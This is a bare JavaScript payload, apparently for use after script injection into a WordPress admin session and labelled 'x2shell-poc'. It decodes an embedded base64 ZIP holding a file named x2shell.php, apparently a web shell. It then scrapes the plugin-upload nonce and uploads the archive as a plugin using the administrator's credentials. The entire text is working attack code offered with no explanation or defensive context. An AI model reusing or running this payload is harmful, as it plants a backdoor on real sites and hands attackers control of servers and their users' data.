(async () => {
try {
const bin = atob(«UEsDBBQAAAAIAIaFB12zz4Gd/QEAAHIDAAAeAAAAeDJzaGVsbC1wb2MtNjYzMDY5L3gyc2hlbGwucGhwbVJdbxoxEHy/X7GJEPYhvkIilHKlSUV4bdOSRpXa6uSYhbN62JbtU0EN/73rOyBtVOke7J3Z2dnxvb2xhU0GnU4CHbgvq7XS8EFscAJfR4sCyxLuP85gPL4cjt9Eyh166ZQNymiiLBYHEp89znuj4WjcG1+NL69TsM6YFdAnjZZoQz82P6LzdeNFfxjv76tQGDcB+0v3haLKIClQLNFxNjM6oA69h50lLwG3YWBLoXQGshDOY5hWYdW7ZmmWqBXwM+Wpxlv55/mnL/PFwzcmN0v2I03hNxQh2Nyht0Z7zKVZIh8Nr9IMcKtCBvukRVyYwuvmLGmZKhDAWJasjEMhC+DCObHjzMe1c9yiZF1mhfehcBUd/c4H3NDhCBmLmqUgPLRWmuwkALXhVaVlTJE0lA+eRzS6pbyC0hVGYw2VEJhOycZRK2oAtAqydlvXeL1BHxiM3rUvWBeYi8FEVhRQPq5vKieRt4p6ymEzH2irTb7GkMsmcB8ZGVhZGo/NOfrYA5Ye/3Fz2BSen+HF4TGIo0nzlPsgXOCkc0u02imdD/MJrmeXKDSvHf9nUJ3kaWtBbc0bRMmI1ZpdQl501caW8Z3Pv+vzBjlJH3Ua4l+eIiM5BUbJKL3mkZZCuw103XDeVNOmehbNRWPwRCn+jEHtE5SFgdf9N824Sf0n/QFQSwECFAMUAAAACACGhQdds8+Bnf0BAAByAwAAHgAAAAAAAAAAAAAAgAEAAAAAeDJzaGVsbC1wb2MtNjYzMDY5L3gyc2hlbGwucGhwUEsFBgAAAAABAAEATAAAADkCAAAAAA==»);
const bytes = new Uint8Array(bin.length);
for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
const blob = new Blob([bytes], {type: 'application/zip'});
const res = await fetch('/wp-admin/plugin-install.php?tab=upload');
const html = await res.text();
const m = html.match(/name="_wpnonce" value="([^"]+)"/);
if (!m) throw new Error('no-upload-nonce');
const fd = new FormData();
fd.append('_wpnonce', m[1]);
fd.append('pluginzip', blob, "x2shell-poc-663069.zip");
const up = await fetch('/wp-admin/update.php?action=upload-plugin', {method: 'POST', body: fd, credentials: 'include'});
window.__x2shellUpload = 'status:' + up.status;
} catch (e) {
window.__x2shellUpload = 'err:' + e.message;
}
})();